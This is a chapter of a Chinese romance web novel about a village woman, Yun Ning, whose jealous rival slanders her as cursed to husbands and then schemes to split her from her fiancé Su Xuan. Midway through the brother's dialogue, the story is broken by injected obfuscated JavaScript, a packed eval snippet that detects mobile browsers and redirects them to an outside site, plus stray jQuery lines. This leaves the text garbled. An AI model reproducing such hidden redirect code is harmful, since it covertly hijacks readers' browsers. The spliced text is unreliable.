苏玹动作一顿,直起身来。
祝玥玥以为他终于将她的话听了进去,心中一喜,抬手就想搭上他的肩膀。
不料苏玹身形微侧,再次轻巧地避开了她探来的手。
接连被拒,祝玥玥心头的火彻底烧了起来,她对着苏玹挺拔却冷漠的背影,尖着嗓子嚷道:
“别怪我没告诉你,云凝她就是个天煞孤星!但凡沾上她的男人,没一个有好下场!”
她喘了口气,眼中淬着恶毒,口中继续道:“她第一个未婚夫,同她是青梅竹马,结果刚跟她定亲没多久,出去打仗就从马上摔下来,活活被战马踩成了肉泥!”
“后来她不死心,又找了个!结果呢?没多久也摔进了山崖,连块骨头都找不回来!山底下全是饿红了眼的豺狼虎豹,她还寻了几个月呢,怕不是早被撕得骨头渣子都不剩了!”
祝玥玥越说越起劲,她抱起胳膊,冷笑道:“这些年,断断续续也有媒人给她牵线搭桥,可只要沾上她云凝的边儿,轻则破财染病,重则伤残丢命!邪门得很!这十里八乡谁不知道她是个克夫扫把星?也就你还不知道内情,还敢往她身边凑!”
说着,她又把带来的点心往前一递,塞进苏玹手中,语气刻意放软道:“你对她好,可她呢?你看,她还不是把你一个人撂这儿累死累活,自己不知躲哪儿享福去了。萧季哥,快歇歇,喝口水,吃块点心垫垫……”
祝玥玥话音未落,一道冰冷的寒光倏然闪过!
一柄磨得锃亮的镰刀,带着麦秆的腥气毫无预兆地抵在了祝玥玥的颈侧之上,刀锋贴着皮肤,凉得她浑身一颤。
祝玥玥浑身血液仿佛瞬间凝固,她僵硬地、一寸寸地转过头,对上了云凝阴沉的眼眸。
“既然知道我是天煞孤星,还敢来我家地头撒野!”云凝的声音像从地府里传出来似得,她手中的镰刀在阳光下闪着森冷的光。
祝玥玥看着紧贴喉间的刀刃,双腿抖如筛糠,声音一时间都变了调:“你……你疯了不成!光天化日之下,你……你真敢杀人?”
云凝冷笑一声,手腕微动,镰刀锋利的刃口又逼近了几分,几乎要划破祝玥玥的皮肤:“我敢不敢,你要不要亲自试试?”
话音未落,她猛地扬起镰刀。
“啊——!”祝玥玥被吓得魂飞魄散,发出一声刺耳的尖叫,紧接着猛地推开云凝,跌跌撞撞地逃走了。
云凝站在原地,冷冷地看着她跑远后,沉默地将刚取来的水囊重重塞进苏玹手里。
然后便转身蹲下就开始割麦,动作大得几乎要把麦秆连根拔起。
苏玹侧目望去,只见女子紧抿着唇,脸颊被晒得通红,额前的碎发被汗水浸湿贴在脸上。
她每次擦汗,都用力得像是要把什么狠狠抹去似的。
夕阳西沉,金色的余晖洒在麦田上。
整整一个下午,云凝都没再开口说过一句话,只有镰刀割断麦秆的声音在两人之间回荡。
晚间回到家时,暮色已漫进窗棂。
苏玹净好了手,刚在桌边坐下,云凝便端着两碗米粥从灶房出来,“咚”地将碗搁在桌上。
陶碗撞得桌面轻颤,还有几粒汤米溅了出来。
她什么也没说,转身就往自己房间走,到了门口,“砰”地甩上木门。
祝今宵刚捏起筷子,就被这突如其来的摔门声吓得手一抖,筷子差点从指间滑落。
他眨了眨眼,疑惑地瞥向云凝紧闭的房门,又转头看向桌边神色平静的苏玹,狐疑问道:“今日刈麦时出什么事了吗?二姐怎么气成这样?”
他姐的脾气,他最了解不过,这般模样,保准是生了大气。
苏玹放下筷子,淡淡道:“我去看看。”
说罢便起身,朝着云凝的房间走去。
祝今宵不放心地跟上,两人一前一后走向云凝的门前。
云凝房门前,昏黄的灯光从门缝中漏出一线。
苏玹在此驻足片刻,抬手轻轻叩了叩门板。
三声轻响后,里面传来云凝带着鼻音不耐的低吼:“做什么?”
“粥要凉了。”苏玹的声音很轻,“你一天没吃东西了。”
他话音方落,“吱呀”一声,房门猛地被拉开。
云凝从门后探出头,泛红的眼眶在烛光下格外明显,一双杏眼死死盯着眼前的男人,怒道:“谁要你管?你以为你是谁,你凭什么管我?”
她越说越急,声音带上了颤音,怒斥他还不解恨,索性上前一把攥住他的衣袖,用力拉扯着:“把我的衣服脱下来还我!脱了衣服你爱去哪去哪,别再烦我!”
苏玹一把扣住她的手腕,沉声道:“我哪也不去。”
“呵!”云凝冷笑,“都收了祝玥玥的点心了,怎么不去找她?”
“……”苏玹叹了口气,从怀中取出一个油纸包,握起云凝的手,塞进她掌心里。
“你说这个?她把东西丢下就跑了,我总不能追出去塞还给她。”苏玹耐心解释,“看这点心卖相尚可,我本想着晚些时候你若是饿了,或许能垫垫饥。”
云凝盯着那包点心,又抬头看了看苏玹的眼睛。
他的目光沉静,带着坦荡的真诚,没有半点说谎的躲闪。
她抿了抿唇,小声问:“当真?”
“当真。”
云凝盯着他看了好一会儿,直到确认他眼底没有半分虚掩,才松了攥着苏玹衣袖的手,完全接过那包点心。
走出房间,她小声道:“吃饭吧。”
……
夜里,烛火在窗纸上投下摇曳的光影。
祝今宵早已洗漱完毕钻进了床榻,苏玹却还坐在灯前,指尖捻着一本泛黄的农书细细翻看。
祝今宵在被窝里翻来覆去,被褥被他蹭得窸窸窣窣响,过了一会儿,他还是按捺不住,支起半个身子对苏玹问道:“萧大哥,二姐今天……发生什么事了?”
苏玹抬眸看了他一眼,将农书扣在桌上,简明扼要地将白天的事大体说了一遍。
“唉,又是祝玥玥。”祝今宵听完重重叹了口气,往床里缩了缩,撇嘴道:“祝玥玥跟二姐早就不对付。先前有媒人来给二姐说亲,她就总在背后嚼舌根,编排些难听的话坏二姐的名声。”
少年说着哼了一声,语气里满是不屑,“她现在的丈夫祝谌,原先是刘媒婆说给二姐的。那厮空有一副好皮囊,内里却是个吃软饭的。祝玥玥见那人长得俊,就使了些下作手段……”
“被旁的女人一勾便走了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221083|181520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”说到这里,祝今宵脸上露出嫌恶的表情,“这样的货色,也就祝玥玥当个宝。”
屋外传来几声虫鸣,祝今宵的声音忽然轻了下来。
“二姐今晚这样,应是担心你也被祝玥玥抢了去。”他犹豫片刻,又坚定地补充道:“但我觉得,萧大哥你不是祝谌那样的人。”
苏玹指尖在书封上轻轻摩挲,片刻后,他起身吹灭了油灯,随后到地上铺好的草席上躺下。
“嗯,”黑暗里他低低应了一声,“夜深了,休息吧。”
……
另一边,祝玥玥家中。
一番云雨过后,祝谌翻身虚脱地瘫在榻上,胸口起伏着,没多久便打起了粗重的鼾声。
祝玥玥却毫无睡意,她靠在床头,望着身旁瘫软如泥的丈夫,眼中闪过一丝不耐。
瞥了眼瘦得硌人的丈夫,她莫名就想起了白日里见到的“萧季”。
先前只当他是个文弱商人,空有一副俊俏皮囊,今日见他挽着袖口割麦,才发现他并非看起来那般瘦弱。
那手臂上的青筋随着刈麦动作起伏,连粗布衣裳都掩不住宽肩窄腰的挺拔身形。
这般想着,她只觉得一阵燥热,再看身旁鼾声如雷的丈夫,心头只剩下嫌恶。
那样的男人,本该配她才对……
祝玥玥心念一动,忽然伸出指甲狠狠掐在祝谌胳膊上。
“哎呦!榻上爬蝎子了!”祝谌吃痛惊醒,一个激灵从床上弹起,惊慌失措地拍打着被褥。
祝玥玥忙按住他的胳膊,娇声道:“谌郎别怕,哪来的蝎子,是我呢。”
祝谌揉着被掐红的地方,不满道:“大半夜的,你掐我做什么?”
“我这不是有事儿跟你商量嘛,”祝玥玥往他身边凑了凑,慢悠悠道,“今日去田里刈麦,听人说祝家大姐的夫婿在矿场忙得脚不沾地,连麦收都回不来。往年云凝姐弟俩还有姐夫帮衬,今年可倒好,地里的活儿全压在云凝一个人身上,多可怜呀。”她抬眼瞟着祝谌,眼底闪过一丝算计,“要不……咱们明日去帮帮她?”
祝谌懒洋洋地打了个哈欠,不以为然地摆摆手:“关咱们什么事?自家地里的活都忙不完呢。”
他翻了个身,背对着祝玥玥嘟囔道:“再说了,云凝不是找了个未婚夫吗?哪轮得到咱们操心。”
祝玥玥往他肩上靠了靠,继续道:“我今日在田里瞧着那俩人各干各的,谁都不理谁。许是那未婚夫也听说了她克夫的名声,我看这桩亲事八成要黄。”
见祝谌没有反应,祝玥玥伸手将他扳过来,故作体贴地说:“说起来,你和云凝也算青梅竹马,当年差点就成了亲事。”她指尖在祝谌胸口画着圈,“她那么喜欢你,不如……你去帮帮她?”
听祝玥玥这样说,祝谌睁开眼,狐疑地打量着她:“我去帮她?你不吃醋?”
“我怎么会是那种小肚鸡肠的人呢?”祝玥玥娇嗔道,眼中却闪过一丝冷意,“我自然不舍的将你让给她,只是……”她叹了口气,“这些年她对你的心意,我都看在眼里。说不定这个未婚夫,就是她故意找来气你的呢。”
“当真?”祝谌顿时来了精神,一骨碌坐起身,眼中闪烁着得意的光芒,“她到现在还对我念念不忘?”